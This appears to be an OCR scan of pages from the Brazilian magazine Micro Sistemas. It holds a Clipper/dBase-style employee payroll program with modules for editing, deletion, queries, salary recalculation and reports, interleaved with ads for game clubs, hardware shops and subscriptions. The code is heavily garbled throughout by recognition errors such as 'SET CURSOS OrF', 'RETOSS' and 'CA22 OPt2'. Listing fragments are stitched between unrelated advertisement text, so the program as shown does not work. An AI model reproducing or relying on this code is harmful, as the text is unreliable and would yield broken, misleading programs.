REPLACE SALAP HITH BSALA? 
lcPlace taxa: httk mtaxai 
5EPLASB TAXAS HITH STAXA2 

P 23.5 SA? SFACPGT! 
• 23.27 SAY 'PIK DE PDHCAÚ < S/Hl 
SSâD 

EHODO 
SET CUkSuR OFF 
SETUEN 

DO CASE 

CA22 OPt2 
DO EDITA 

CASE OP» 3 
DO BAIXA 

CASE OP-4 
DO CONSU 

CASE OP»S 
DO CALC 
SET CURSOR OFF 

LATAJTL, CE ?UNC1 ,'MARI! 
« edita rsgi&tros CASE OP=7 

DO CÜTIL 

CASE 01^3 
CLEAR 
SET COLOR TO B/W 
0 11.32 TO 14.44 DOUBLE 

. : .0 TO 24.79 1WS1E 
2 :.2 to ::.76 d*jcrle 
3’> TCP 
-LI.ARE CAMI S13J.TtTULu161.MASCAI 

DESKTOP PUBLISHING: 
A opinião de quem está usando; quais são os 

melhores programas do mercado; quanto custa 

aqui e lá fora; os periféricos necessários. 

* 



Concessionário de Venda de Espaço 

Para Esta Página L&F Design 

INFORMAÇÕES (021)235-4986 

NOVIDADES 
AFTER BURNER (1 DISCO) 
GUN SHIP (1 DISCO) 
BEAST l/ll (2 DISCOS) 
THE KRISTAL (4 DISCOS) 
P47 THUNDERBOLT (1 DISCO) 
AQUA NAUT (3 DISCOS) 
DUCK TAILES (2 DISCOS) 
GRAND PRIX CARS (2 DISCOS) 
PREDATOR (2 DISCOS) 
BUDOKAN (2 DISCOS) 
PAC MAN - IA (2 DISCOS) 
ARKANOID II (1 DISCO) 
PERSIAN GOLF INS. (2 DISCOS) 

l Envie 1 
4 Santos no valoj o envlo p0r St I 

| do de 7 dias. 
3 Prazo de ent 6 ,eTOCOM 1 

hss^^SSm 

SO GAMES 
CAIXA POSTAL 1852 
CEP 20001 - RIO DE JANEIRO-RJ. 

SOFTCLUBES 
A SOLUÇÃO EM SOFTWARE 

PC CLUBE 
0 Clube dos usuários do IBM-PC. Com 
mais de 2000 discos com as últimas 
novidades do mercado internacional. 
Mensalmente temos o PCNEWS. um ca¬ 
nal de comunicação entre os sócios, 
com todas as informações sobre o 
mundo dos 16 BITS. 

APPLE CLUBE 
O Clube dos usuários de APPLE. O 
maior acervo de programas com mais 
de 3000 títulos à sua disposição. Além 
disso, temos o APPLE NEWS. um jornal 
mensal com as novidades do Clube e 
que serve como meio de comunicação 
entre os sócios para troca de 
informações. 

Caixa Postal 12190 CEP 02098 
São Paulo-SP 
Tel.: (011)299-1165 

2 
< 

TIGERU 

m APLICATIVOS 
E UTILITÁRIOS 

B ■ ORIGINAIS. 
ala COM GARAN- 
^^1 TIA TOTAL S CONTRA 

DEFEnOS DE 
GRAVAÇÃO. 

SOLICITE 
CATÁLOGO 

TIGER GAMES REPRESENTAÇÕES 
CAIXA POSTAL 1793 
CEP 20001 - RIO DE JANEIRO-RJ 
TEL.: (021)235-4986 

PRODUTOS & 
SERVIÇOS 

SALZANI 
• LIGHT-PEN: Possibilita desenhos em alta resolução diretamente na tela da 

TV Acompanha: Manual e o software gráfico LIGHT-ART. CrS 6.000,00 + 700,00 I 

(SEDEX). 

• SUPERSTICK: Ultra resistente. Construído com a mesma tecnologia usada 

nas máquinas de Fliperama Contém exclusivo circuito de tiro automático. Não 

precisa de interface. Versões para MSX, AMIGA E MASTER SYSTEM. CrS 

7.000,00 + 1.500,00 (SEDEX). 

•SUPER JOGOS PARA PC: Robocop, power Drift, Airbone-Range, Budokan, 

3 Patetas. Indiana jones III, Motocross, Lombard, Rally, Prince of Pérsia, Ope- 

ration Wolf, Chess Master 2000 (xadrez 3D), Die Hard (Duro de Matar), Out Run, 

After Buurner, Grand Prix, Ninja Saboteur II, Karateka (= o do Apple), Vette 

Hostage, Crazy Car II, Space Race, Double Dragon II. 

Acompanha Pequeno manual com instruções de carregamento e códigos de 
acesso. 

Vocè pode usar os jogos da SALZANI sem medo de virus. Todos os jogos são 

rigorosamente testados antes de serem enviados. CrS 2.000,00 para as des- 

pezas postais e disco já incluso no preço. 

NÃO COMPRE SEM VER!!! Demonstramos nossos jogos e produtos antes de 
vocè levar. 

Localização: A SALZANI fica pertinho do metrô Carrão. Se você vier de carro, 

é facilimo estacionar em frente. Não tem Zona Azul nem placa de Estaciona¬ 

mento Proibido. 

Atendimento: Atendemos de 2Í a Domingo. Marque hora pelo telefone 
(011)296-2015) 

Para adquirir Venha pessoalmente ou mande cheque nominal à: 

ANSELMO SALZANI 
Praça Heitor Levy, 30 - Tatuapé 
03316 - São Paulo-SP 

REVENDAS AUTORIZADAS (LIGHT-PEN E SUPERSTICK): 
SP: ECTRON 290-7266 • PLACE TECH 575-3087 • PAULISOFT 37-1814 
• CHAMPION 65-2030 • MISC 36-3226 • TOY GAMES 277-4878 • NA- 
DAL INFORMÁTICA 297-2114 • TALL COMUNICAÇÃO 276-7465 • REDI 
UNUVERSOFT 825-5240 
RJ: HOT CENTER 577-5746 

&QS MICRO 
ATENDIMENTO INSTANTÂNEO (2hs.) 

ASSISTÊNCIA TÉCNICA 

Especializado na área com 5 anos de 
experiência em manutenção de: 

MICROS • REDES LOCAIS • MONITORES 
E PERIFÉRICOS 

Contratos de Manutenção a partir de 50 BTNs 
Laboratório próprio 

ligue já e comprove! 

TEL: 299.1166 
SO GAIVI CLUB O MELHOR EM JOGOS E UTILITÁRIOS 

PARA O SEU IBM-PC, AMIGA E MSX 

JOGOS PARA IBM-PC 
i-TTT^dídTh^^ 

Cl 4 DISCOS = 20 BTN“s 
TURTLE MUTANT NINJA 
ROBOCOP 
GHOSTBUSTER 
A-10 TANK KILLER 
SKY or DIE (novo) 
D&D THE CURSE A. BEND 

C/2 DISCOS = 14 BTN*s 
MOTOCROSS 
RAMBO III 
AFTERBURNER 
THE LAST NINJA 
KING‘S OF THE BEACH 
DOUBLE DRAGON 1 e II 

Cl 1 DISCO = 8 BTN*s 
CALIFÓRNIA GAMES 
NINJA - PACMAN 
SUPER STAR SOCCER 
ITALY 90 
OUTRUN 
KARATEKA 

[•Faça seu Pe0 1 è rqi0 L. C Santos 

SSKEWssr'—- \ 

m ssíss^s’-^’^ 1 

AGUARDE BREVE LANÇAMENTOS: KING'S QUEST V e SPACE QUEST IV 

CAIXA POSTAL 1852 - CEP 20001 - RJ 
DISTRIBUIDOR AUTORIZADO MSX SOFT iNFORMÁTICA 



CAMPOS I31='ADMI3SA0' 
CAMPOS[t]='FUHCAO' 
CAMPOS[5 3= 'SALAST 
CAMPOS [63-'SALAT' 
CAMPOS[7]='SALA?' 

TITOLOC13='CODIGO' 
TITULO[2]="NOME DO FUNCIONÁRIO' 
TITULOL3 }■- 'DATA ADMISSAO' 
TITULO[4 ]•: 'FUNCAO' 
7ITULOC5 1= 'SALASIO ANT. ' 
TITOLOC6 3- 'SALARIO ATUAL' 
7ITULOC7 j* 'SALARIO PROJ. ' 
TITULOLC 3-'REAJUSTE' 
TITULOC91'--'PfiOJECAO' 

MAICABU 3- '99999 
XAUCARC3]= '99/39/99' 
MASCAR[53-'009.999. 09' 
MASCARC63='999.090. 99' 
MASCARC73='990.999. 99' 
MASCARC83-'999. 93 V 
HASCARC0 3- '999.99*' 

SPàCEi* 13> . 'MODOLO EDITA BEGISTROS DO CADASTBO DE 
FUSCIorlARIOfl' 'SPACEí 11» 

fSUTwjis ss. —- IiBEDlTl 4.4.20,75 .CAMPOS .' REPLA .MASCAR.TITULO» 

9 LI.CO GET ACA 
RãfT» 
SET COLOS TO 
SET CORSOS OrF 
KETSOASD CHR< 4> 

SE^LACE^sÃLAT HITH SALAHT41 SALANT*?AXA1*. 01» 
REPLACE HALAP KlTB SALAT** SALA?*TAXA2*. w_» 

ESDI? 

I? RE-LACE^ÁlAT HITH SAL ANT í SALAST • TAXAI * 0 
EpLACS SAL AP SITU SALAT.<SALAT*TAXA2*.C:» 

i£ CL2PLACE SALAP HITH S.MAT*< SALAT*TAXA2*. Cl» 
ENDI? 
RETOSS «1» 

CASE LASTKE?» > =80 
raoc---* 
9 23.5 SAY SPACE«67) 

REAL 
SET CURSOS CF? 
GO TOF 

ET 2XACT OH 
LOCATE POR CODIsFROC 

I^A^PAHA EDITAS TECLE LENTES] . IP] PABA PBOCNSAB CTD70O" 

CACE MODE*1 
ô 23.5 SAY SPACEtBS» 

|E|3C?5°!Ar-?ÓcE ESTA NO INICIO DO ASM1VO" 
SET COLOS TO 

jfl!' is ssf.sK ss. “ codigo" 
RETORN <l> 

CAS2 MuDE-2 
d 23.5 SAY S?ACE< 65» 

|E2J?2T°S»V0-TOCE S3TA NO FIK DO ABOOIVO" 
SET COLOR TO 

:BSyB2 -«SWTBSS. codigo- 
R2TURN «1» 

CASE KODE» 3 
i) 23.5 SAY SrACE? 65» 

Í^23^27^SAY°'O*ARQUIVO CORRENTE ESTA VAZIO' 
SE? COLOR TO 
INKEY< 3» 
RETURN < 0» 

CASE LASTKEYi) -27 

RETO RN U> 
EHDIF 
CO-COU » 
LI = ROW< ) 
CA»FIELDHAME< OPC) 
SET CURSOR OH 
SET COLOR TO H.O/R 

USE FCHC 
SET CURSOR OH 

S*Ls»« »AW2SI*'BAIXA FUHCIUNASIO DO ABOOIVO" -SPACEL 25. 
SET COLOS TO 
» 2.3 CLSA3 TO 21.75 
• 2.3 TO 22.76 DOOBLE 
« 23.2 SAY SPACE1T6I 
3T0EE "li" TO FIH 
0?,I 

“ Prl%5p?°"WIXABTroB CODIGO DO FONCIONABIO" MEOFACiE "APAGA SSGISTLO 

“«KfafSSÍ SfiSãS FONCI.NASIO" BH9M1 •»«» UM'-™ 
snBaosADo^B^oH^JMaoHAs:? .ARR,m, AB0„:V(1 DE dados apagando 

BEGISTSM^ESDENTES^^ ^ "EETOSNA AO HEM «IBCIPAL DO 

programa" 
MENU TO OP 
DO CASE 

C*5SETPÍnD1I TO CODIX.PESSOAL 
KO-SPACEI SI 
• 4.4 CLEAB TO 21.75 
« 11,14 TO 13.63 D00BL8 

i ™ 

_ DIGITAL BOYS CLUBE 
Exclusivo e de Classe Internacional 

^ , Digital Boys Clube coloca você por dentro do MSX, trazendo 

vantagens e benefícios exclusivos “For Members Only”. 

>v É só ficar sócio. —-—7^r~\ 
/ _   —T^dedoDBC 

UcsOC\^5Sl» / E Para seu MSX: r^ísite a nova^« 2Q3 \ 
* JOGOS, APLICATIVOS, UTILITÁRIOS \ V. f paSSOS, 101 Av 
. DRIVES DDX, MEGA RAM, KIT 2.0 Kro C°^\ ’ 

- . IMPRESSORAS, MONITOR, MODEM \ Vargas) 
o . expaNSOR DE SLOTS, 80 COLUNAS \ PreS'C; ,ane\ro - 

na SEDEX . JOYSTICKS, CABOS, MESAS \ B»0 ae 
5 Catalogo . DISQUETES, FORMULÁRIOS, FITAS \ .*0 *>907 

Atendemos todo o 
Brasil via SEDEX 
Solicite Catálogo 
Grátis através 
da Cx. Postal 13069 
CEP 20260-Rio-RJ 

Wpass,fsacomW. 
Residente'Va79®> 

\ fffo deJaeeUO-BJ 

Representante autorizado dos produtos: 
NEMESIS, DISCOVERY. _ 

(021)233"3207- 



SET COLOS 70 W» 
3 23.28 SAY '£C7E COSIQO 1 
SET COLOR 70 

DÕ WHILS A<I £ 00 

ENDDO 

READ 
IF CEET-*3 * 

GO TOP 

DELETE 
EKDIF 
«4.4 CLEAR TO 21.75 

END1F 

CASE UP-2 
SET INDEX TO PESSOAL.CüDI2 
HOBA-SPACEí 20’ 
<? 4.4 CLEAB TO 21.75 
9 11.7 70 13.71 DOOBLE 
& 13.5 SAY SP AC Ei C7i 
9 23.21 SAY TECLE (* ] PARA VOLTA:: AO MEUS Fftr:»'! T AI’ 
« 12.9 SAY *00 AL 0 HOME DO FHKCT CAEI, PAEA PAI 7JJt- * GE? N 
BSAD 
1PBOBAt o-.OB.NOBA-.- • 

LOOP 
BHDIF 
GO TOP 
NOBAS-TBIMí NOBA) 
SEEK BOBAS 
IP . NOT. FOÜNDK) 

9 23.5 SAY SPACEi G7> 
SET COLOR TO W» 
9 23.29 SAY 'ESTE HOME MAO EXISTE 1 * 
SET COLOR TO 
A-0 
DO WHILE A l 500 

ENDDO 
í i.< CLEAR TO 21.75 

ELSE 
CERT: ’?' 
«23.5 SAY BPALE< C7) 
« 23.28 SAY 'TEM CERTEZA ? i S/N» : * GET CERT 3EAD 
IF CERT- S- 

SEEK NOBA 
DELKTE 

EHDIF 
« 4.4 CLEAR TO 21.75 

EBDIF 

CASE 0P=3 
CERT- 
• -I .< CLEAR TO 21.75 
«23.5 SAY SPACEi 67) 
0 23.2e SAY TEM CERTEZA 1 
1F CERT-'?' 

9 12.28 CLEAR TO 14.53 
« 12.20 TO 14.53 DOOBLE 
SET COLOR TO W« 
* 13.30 SAY ‘ARROBANDO ARQUIVO. 
SET COLOB TO 
FACK 
« 4.4 CLEAR TO 21.75 

tS/N> : • GE? CER? 

ENDCASE 
ENDDO 
USE PUNC INDEX FESSOAL.CODIX 
SET CURSOR ÜFP 
RKTORN 

* CADASTRO DE FUNCIONÁRIOS 
• MODULO CONSULTA REGISTROS 

«4.4 CLEAR TO 21.75 
GO TOP 
DECLARE CAMPOS[9 J.TITOLO[9 J.MASCAR[9 3 
NADAs*• 

CAMPOS Cl]= *CODI‘ 
CAMPOSC2 3-- 'NOME' 
CAMPOS C3 J='ADMISSAO' 
CAMPOS [4 3='FUNÇÃO- 
CAMPOS[5 3= SALANT- 
CAMPOS[63- CALA7- 
CAMPOS[7 j; SALA?' 
CAMPOS C8 3= TAXAI ' 
CAMPOS[9 J=-TAXA2' 

TI7ÜL0[13-'CODIGO' 
TITUL0C2]='NOME DO FUNCIONARIO' 
TITUL0C31-"DATA ADMISSAO' 
TITUL0[4 3-"FUNCAO' 
TITULO[5 3- 'SALÁRIO ANT. * 
TITUL0I61-'SALASIO ATUAL' 
TITULO[7 3- "SALABIO PROJ. ' 
TITÜL0C8 J='TAXA REAJ. * 
TITUL0I9Jr'TAXA PROJ. ' 

MASCARClJ-"99999" 
MASCABC33- '99/99/99' 
MASCARC5 3“ "99S .999. 99' 
MASCAB[61= ’999.999. 99' 
MASCAR[7 J=-999.993. 99' 
MA3CABC3 ]- '999. 99*' 
MASCAR[9J-'999. 93*' 

SET COLOB 70 E/W 
8 1.3 SAY SPACEi 1H • 'MODULO CONSULTA REGISTROS *.'• CADA:*?'. M 
FUNCIONÁRIOS '-SPACEi 10> 

.* CS .1 SAY S -i.E- 
S 23.19 SAY 77117 1 : SE7 C-2- .'/> MENU TSIiiCirAL' 
pFEDir í .4 : :.cA-rzs.n;.:a.haicas.titulo 

* CADASTRO DE FUNCIONÁRIOS 
* BODOLO CACCÜLA - REFAZ CAOCULOS DE SALAEIOS 

SE7 CURSOS OS 
CERT-*?' 
€ 4.4 CLEAR TO 21.75 
SET NESSAGE TO 23 CEN7E2 
5 : . 730MPT 'REFAZ CAUCULOS* 
g : c.. . tecxtt y;:zL :aza total 
FUNCIONAS!0J i;0 CAIASTRC' 
9 14.30 PL-xr? 7'V DE PUSCAC' 1 
MENU TO ECO'-: RA 
IW CACE 

CAUCULOS DO CADASTRO' 
TAXAS DE BEAJOSTE DOS 

PRINCIPAL- 

CA1I SCCftlüA-: 
9 2 . i CLEAR To 21.74 
«23.5 SAY CPACS. 25: 
CET COLOR 70 S/H 
? ;.3 CA” CPA1Z - MODULO E2EA2 CAUCULOS DOS SALARIOS DO 

CADASTRO-*Cr,7JD 13) 
SET COLOR TC 
* 23.21 SAY 'TEM CERTEZA OOE QUEB CONTINUAR ? (S/N): • GET CERT 

7ALI!y CERT* 'SN'.-.') 
2EAD 
CERT=UP?EB< CEET) 
IP CERT-"S" 

8 23.5 SAY SPACEi 65» 
SET COLOB TO K» 
« 23.26 Sá? 'AGUARDE UM INSTANTE . . 
SET COLOR TO 
e 12.20 SAY 'REFAZENDO CAOCULOS PARA SALABIOS CORRENTES . 
REPLACE ALL SALA? W1TH SALANT»' SALANT"TAXA1*0. 01) 
8 12.2C SAY 'REFAZENDO CAUCULOS PARA SALARIOS DE PROJEÇÃO . 
REPLACE ALL SALA? WTTH SALAT»: SALAT*TAXA2«0. OU 
• 23.25 SAY SPACE< 45) 
SET COLCR TO W 
8 23.5 SAY "CAUCUL7S REFEITOS - APERTE ALGUMA TECLA PARA VOLTAR AO MENU 

PRINCIPAL 
SET COLOR TO 
SET CURSOR OFF 
INKEYi 0) 
SET CURSOS CN 

ELSE 
BETUHH 

ESDI F 

CASE ESCOLHA-2 
* 3.4 CLEAR TO 21.74 
«23.5 SAY SPACE‘67> 
0P*1 
SET MESSAGE TO 23 CENTER 
9 10.26 P8C-PT MUDAR TAXA DE REAJUSTE" MESSAGE 'MUDA TODAS AS TAXAS DE 

REAJUSTE? DO CADASTRO PARA UMA SO* 
9 12.26 PROKPT 'MUDAR TAXA DE PROJEÇÃO' MESSAGE 'MODA TODAS AS TAXAS DE 

PROJEÇÃO DE SALARIOS PARA L‘MA SO ' 
* \ A 9* do*-*- •'—«oi* »* —70 ' MESSAGE 'RETORNA AO MENU ANTERIOR DE 

ESCOLHA' 
F TO OP 

IF OP-1 
TAREDErO 
• 23.5 SAY SPACEi 67) 
« 23.17 SAY "OUAL A TAXA DE REAJUSTE DESEJADA : 

'999. 99*' 
READ 
« 12.25 CLEAR Tu 14.50 
t 12.25 TO 14.50 DOOBLE 
SET COLOR 70 W- 
« 13.26 SAY EFETUANDO MUDANÇAS . 
SET COLOR TO 
REPLACE ALL TAXAI HlTH TAREDE 
REPLACE ALL SALAT KlTH 3ALANT»<SALANT-TAXAl•. 01 
REPLACE ALL SALA? Kl TH ‘SALAT»! SALAT-TAXA2*. 01) 

1F 0P=2 
TAIUODEiO 
«23.5 SAY SPACEi 67) 
• 23.17 SAY ‘QUAL A 1AXA DE PROJEÇÃO DESEJADA : 

•999. 99*' 
READ 
8 12.25 CLEAR TO 14.50 
0 12.25 70 14.50 DOUBLE 
SET COLOR TO K» 
« 13.26 SAY 'EFETUANDO MUDANÇAS . 
SET COLOR TO 
REPLACE ALL 7AXA2 WITH TAPRODE 
REPLACE ALL SALAP WITH SALAT»! SALA7«7A*A2*. 01) 

EHDIF 

3F 0P=3 
EETURN 

EHDIF 

GET TAREDE PICTURB 

GET TAPRODE PICTURE 

-> RSL.PRG 

• CADASTRO DE PtJHCIOHAHlvS 
* MODULO S5LAT0RI0S 

DO HHILE . 7. 
SET CURSOR OFF 
CKRT='N* 
« 0.0 70 24.79 DOOBLE 
« 2.3 TO 22.76 D0U3LE 
SET COLOS TO B/W 
« 1.3 SAY SPACEi 28)-'MODULO RELATÓRIOS-«SPACEI 29> 
SET :OLO? TO 
SET MESSAGE TO 20 CENTER 
9 9.27 PROMPT 'R&uATCRIO GESAL MESSAGE 'EMITE SELATORIO GERAL DE TODOS OS 

PUNCI '1NASIOS Dü CADASTRO- 
0 11.2” i-R-JSPT SELATORIO rOR ADMISSÃO' MESSAGE 'EMITE RELATORIO POR DATA D 

ÔDKISSAO" 
e 12 .17 Pr.-.MíT 'SSLATuSIO POE SALAP.IO' MESSAGE 'EMITE RELATORIO POR SALARIO 

Zr-- FÜ7CTA3I0' 
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e 15.-J7 ?eo: 
PROGRAMA• 

MENU TO OP 

D£ FUNCAO* HESSAGI 'RETORNA k' MENU PRINCIPAL y. 

CASE OF-i 
@23,5 SAY SPACEt 67) 
SE7 CURSOR CN 
@ £3,28 SAY -T£K CE37EZA ? i 
READ 
CEETiOPPER' CERT> 

SAI-UPPERiSAI) 
:f sai. *t* 

CLEAE 
DO BELGE 

WAIT 'APEfíTE UMA TECLA PASA CONTINUAR . 
CLEAE 

SLSE 
CLEAR 
SET PSIH7 ON 
DO RELGE 
SET PRINT OFF 
CLEAR 

ENDIF 
ENDIF 

CASE OP-2 
@23.5 SAY SPACEt 67> 
SET CURSOR OS 
» 23.28 SAY 'TEM CERTEZA ’ 
READ 
CBRT«UPPERt CERT) 
IF CERT-'S' 

ASO"' ' 

t S/K' ' GET CERT VALID ' CERT* 'SSsr.'! 

@23.5 SAY SPACE< 67) 
9 23.2b SAY QUAL 0 ASO DE ADMISSAO- ' GET A!.’ FICTURS 'OS' 
READ 
ANOR"'/'*ANO 
SAI-*T* 
8 23.5 SAY SPACEt C7) 
9 23.15 SAY 'QCER RELATCRIO NA ; TíELA GC <J. MPRESSGRA ? (?/V * 

VALID (CAI1 -Tlti'1 
READ 
SAI-UPPERt SAD 
IF SAI - 'T' 

CLEAE 
DO RELAD 
? 
WAIT 'APERTE UMA TECLA PARA COSTISUAR . 
CLEAR 

ELSE 
CLEAR 
SET PRINT ON 
DO RELAD 
SET PRINT OPF 
CLEAR 

ENDIF 
RNDIP 

CASE 0P;3 
@23.5 SAY SPACEt 671 
SET CURSOR OS 
9 23.28 SAY TEM CERTEZA 7 t S/N’ ‘ GET CEST VALID ' CERT» ’SN;r.’’ 
READ 
CSRTiUPPZRt CERT) 
IF CEST* o' 

SAI- 'T' 
@23.5 SAY SPACEt 67) 
4 23.11 SAY 'SALARin MIS.: ' GET SMI PICTURE *99? .999.993. 9?* 
9 23.40 SAY "SALAR10 HAX * GET SMA PICTURE -999.999.999 99* 
READ 
O 23.5 SAY SPACEt 67) 
@ 23.15 SAY QUER RELATOR!O NA <?i ELA OU <I)MPRESSORA ? ?'I> * 

VALID < SAI» *Tltl‘> 
READ 
SAI-UPPERt SAI) 
I? SAI- 

CLEAR 
DO RELSA 
? 
WAIT "APERTE UMA TECLA FAP.A Cr-MTXNUAR 
CLEAR 

8L5Z 
CLEAR 
SET PRINT ON 
DO RELSA 
SET PRINT OF? 
CLEAR 

ENDIF 
ENDIF 

CASE OP*4 
SET CURSOR OFF 
RE7ÜRN 

SNXASE 
ENDDO 
SET CURSOR OFF 
BETURN 

; -HILE . SOT. £OF() 
l:p=l:p*i 
S70T=STOT*i 
TS ALA?=TSALAT *GALA? 
. :.'DI-SPACEt 3) 
:? SOME-SPACEt 2» 
7- FTSCAO-SFACEt 2) 
?Y ADMISSAO-SPACEt4) 
?? STRtSALAT) 
IF LI?>!í 

LIP-l 

DATA ATUAL: 
7? DATE!) 
Y SEFU --*.79) 
? -coa. SOME DO FUNC. 

SALARIO* 
7 REPLt *- *.79) 

ENDIF 
SKIP‘l 

EHDDC 

I? TSALAT <0 .OR. RTOToO 
? • MEDIA DE SALARIOS: *«S 

ELSE 
? '* MEDIA DE SALABIOS: 0* 

ENDIF 

'♦STRt TSALAT) *' de salario total. 

RELATOBIO DOS FUNCIONÁRIOS POR ESPECIFICACAO DE SALABIOS 

l SPACEt20« •'CADASTRO DE FUNCIONÁRIOS SURN BITS* 

T DATA ATUAL: 
?? DATEf) 
7 REPLt • - * .79) 
? 'COD. NOME DO FUNC. FUNCAO 
7 REPLt - -.79> 

DO WHIt.S .SOT. EOFt > 
IF SALAT' SMI . OB. SALAT SMA 

SKIP-1 
Loor 

ENDIF 
LIP-L! P*1 
LTOT 2T0T*1 
TSALAT^TSALAT'SALAT 
? CODI -SPACEt •) 
7? NOME-SPACEt D 
?- FUSCAO-CPACKt ?> 
*? ??R* SALAT) 
I? LXP 55 

RELATÓRIO I«0S FUNCIONÁRIOS POR ESPECIFICACAO DE SALARIO 

? SPACEt20) ''CADASTRO DE FUNCIONÁRIOS 3URN BITS * 
? 
? 'DATA ATUAL: 
7? DAT»» 
7 REPLt --*.79) 
7 "COD. NOME DO FUNC FUNCAO 

DESKTOP PUBLISHING: 
Tudo sobre desktop publishing você encontrará 
em MICRO SISTEMAS edição 102. 

Em março, aguarde! 



A sua revista preferida está com 

idéias novas, Uma delas é contar 

com maior participação dos leito¬ 

res na sua elaboração. 

MS abre espaço para tra¬ 

balhos profissionais, 

numa tentativa de trazer 

a público os projetos, 

programas e apli¬ 

cações que, por falta de 

divulgação, ficam restri¬ 

tos aos ambientes acadê¬ 

micos. 

É a oportunidade! Seu material 

serã examinado pela equipe téc¬ 

nica e, com a devida autorização, 

publicado numa das nossas próxi¬ 

mas edições. 

Observe os seguintes 
requisitos indispensáveis: 

1 - lembre-se que a MS é lida por pes¬ 
soas que não têm a mesma intimidade 
que você com o assunto em questão 
Fbr isso utilize uma linguagem clara e 
acessível. 
2 - Caso sua matéria seja um artigo ou 
crônica, enviea datilografada com pá¬ 
ginas de 30 linhas e 72 batidas em es¬ 
paço 2. Se preferir, mande em disquete 
3 - Se for um programa mande em dis¬ 

quete, sem esquecer um texto explica¬ 
tivo. 
4 - Caso sua matéria tenha fotografias, 
não esqueça o crédito e as legendas. 
Tabelas, desenhos e ilustrações tam¬ 
bém devem ter legendas e nitidez sufi¬ 
ciente para reprodução 
5 - Ao enviar sua colaboração, não es¬ 
queça de anexar a autorização para 
ser publicada a fim de agilizar o apro¬ 

veitamento da matéria. Você será noti¬ 
ficado caso seu trabalho seja apro¬ 
vado. 
6 - Surgindo qualquer dúvida, entre em 
contato com nossa redação. 

Fbr fim mande um currículo com en¬ 
dereço completo e telefone Suas idéias 
vão contribuir para que tenhamos efe¬ 
tivamente uma informática nacional de 
ponta. 

Revista Micro Sistemas - Rua Washington Luiz, 9 gr. 403 - Rio de Janeiro - RJ - cep 20230 



Nome: 

Equipamento: 

L1P-1 * 
ETOTiO 
TSALAT-0 
? SPACEí 11 > + '* * * SELATORIO DE FUNCIONA3IOS POR DATA DE ADMISSAO • 
? SPACEI 20l +‘CADASTRO DE PONCIONABIOS 3U2N BITS' 
? 
? 'LATA ATUAL: 
?7 DâTBO 
? &EPL( •-'.791 

* 11.26 PBOMPT 'HENOMEAB ABQD1VOS' MESSAGE 'BENOMEA DM ABODIVO ESCOLHIDO PELO 
DSGABIO' 

9 13.26 PBOMPT ’BELATOBIO DO SISTEMA' MESSAGE ‘EXIBE RELATORIO GEBAL DO 
SISTEMA E SEUS A3QUIV0S DE TRABALHO’ . __ 

9 15.26 PBOMPT CRIAB IKDEXACAO' MESSAGE 'CB1A HOVA INDEXACAO PARA O ABOUIVO 
PBINCI?AL DE DADOS' _ _ _ 

• 17.26 PBOMPT 'BACKUP DO ABOUIVO' MESSAGE 'FAZ COPIA DE SEGURANÇA DOS 

A3Q<»'l9%6*"p30MPT 'BE70RNA AO MENU PBINCIPAL" MESSAGE 'RETORNA AO MENU PRINCIPAL 
DO PBOGEAMA' 

MENU TO OPU 

DO CASE 
CASE OPO-1 

EXIBI='A' 
#23.5 SAY SPACS<65) 
è 23.23 SAY 'ENTRE O DBIVE PARA EXIBIR : ' GET EXIBI VALID 

( EXIBI* *ASCDabcd'J pcAn 
CLEAE 

# 23.20 SAY ABOUIVO PABA DZLETAR: * GET COMADOS 
8EAD 
IF FILE (COMADOS* 

SN:'N* 
• 23.5 SAY SPACE( 65» 
9 23.30 SAY TEM CERTEZA (S/N*: ‘ GET SN VALI Dl SN* 'Stfon * 
RSAD 

IF SHi'S' 
EBASE 4COMADOS 

SL3E 
Loor 

ESDI? 
ELSE 

9 23.5 SAY SPACS'C5> 

E HORA DE ASSINAR MICRO SISTEMAS 
Veja só se não é uma vantagem e tanto: 

você paga 10 e leva 12 edições. Uma 
pechincha de dar água na boca. 

E não é só isso não. Atente para o fato 
de que MICRO SISTEMAS é a primeira 
revista brasileira de microcomputadores. São 
10 anos de liderança no mercado e muita 
história para contar. 

A nossa maior tradição continua sendo 
nosso carro chefe: nas páginas da MICRO 
SISTEMAS você encontra sempre uma 
análise do mercado de informática. Além, é 
claro, dos melhores programas e rotinas 
publicados em revistas. 

Não fique aí parado. Pegue a sua 
calculadora e faça as contas. Depois é só 
preencher o cupom ao fado e entrar para o 
time dos usuários bem informados. 

Estou enviando o cheque n° __. 
no valor de CrS4.6C0,00 nominal à ATI EDITORA SA, 
referente a uma assinatura anual (12 números) 
de MICRO SISTEMAS.__ 

ATI Análise, Teleprocessamento e Informática Editora S.A. 
Rua Washington Luiz, 9 - gr 402 - Rio de Janeiro - RJ - Cep: 20.230 



e:oii 
IHKEYIO* 
SET COBSOB \3Z OPO=4 

R£ANT=SPACE1 14> 
RENO=SPACE' 14> 
0 23.5 SAY SPACE<65> 
0 23.20 SAY 'NOME DO ARQUIVO PABA RENOMEAH: ' GE“ 2£AN“ 
READ 
!F FILEI HEANT) 

8 23.5 SAY 3PAC2I 65> 
@ 23.25 SAY 'RENOMEAH PAHA: ' GET HEMO 

ELSE 
è 23,5 SAY SPACEi 65> 
SET COLOR TO W* 
0.23.28 SAY 'ESTE ARQUIVO I 
SET COLOR.TO 

DO WllILE A 1500 
A-A+l 

ENDDO 
ENDI? 

NARCl ]=' 
ADIR* DBF' .NAP..TAH» 
ADIR* NTX' .IAR.TIAR' 
0 23.5 SAY SPACEI 65> 
0 4.4 CLEAR TO 21.75 
SET COLOR TO S/H 
e 1.3 SAY SPACEi 23> * "FUNCAO RELATORIO DO SISTEMA * *SPACE< 24) 

I? NARCI1= ' • 
O 23.5 SAY SPACEi 67> 
SET COLOR TO H* 

DO WHILE A* 1500 
AA*1 

ENDDO 
EXIT 

ENDIF 

1 I-íS 'pi3Cf> °° SISTEHA C: '.ST» DISKSPACB 311.• byte. ll.ro»' 
J 9,10 SAY HBKOBIA LIVBâ '*STB( KSKOBYl 011 *' Kbytes livres' 
• 1' ■10 SAY 'ABOOIVOS DC DADOS EB USD '.«ABtlJ»' '*STB1 TABU J> *' bytes' 
8 13.10 SAY ‘ARGUIVOS DE INDEXACAO '.!AB[11‘' '-STBITIABC111 •' bytos' 
8 14.32 SAY IAB[2)*' '*STBt 7IA8t2 !) ‘ ' bytes' 
8 16.10 SAY -O ABQOIVO PRINCIPAL TEM ' a*TRI RBCD I)*' registros' 
9 18,10 SAY 'TOTAL DE BYTES EB ABOOIVOS; '-STBI TABU J.TIABU ]-TI AB[2 )> *' 

' CEBTr-S' 
e 12.29 CLEAB TO 14.50 
8 12.29 TO 14.50 DOOBLE 

CASE O?0=T 
